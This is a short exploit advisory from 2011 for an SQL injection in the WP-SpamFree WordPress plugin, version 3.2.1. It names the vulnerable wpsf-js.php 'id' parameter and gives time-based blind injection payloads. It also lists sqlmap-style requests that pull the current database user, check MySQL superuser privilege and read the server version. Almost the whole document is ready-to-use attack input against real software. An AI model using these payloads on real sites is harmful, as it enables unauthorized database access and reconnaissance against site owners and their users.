WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-09-25
#Author: [cheki]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

#Home page: http://hacking.ge/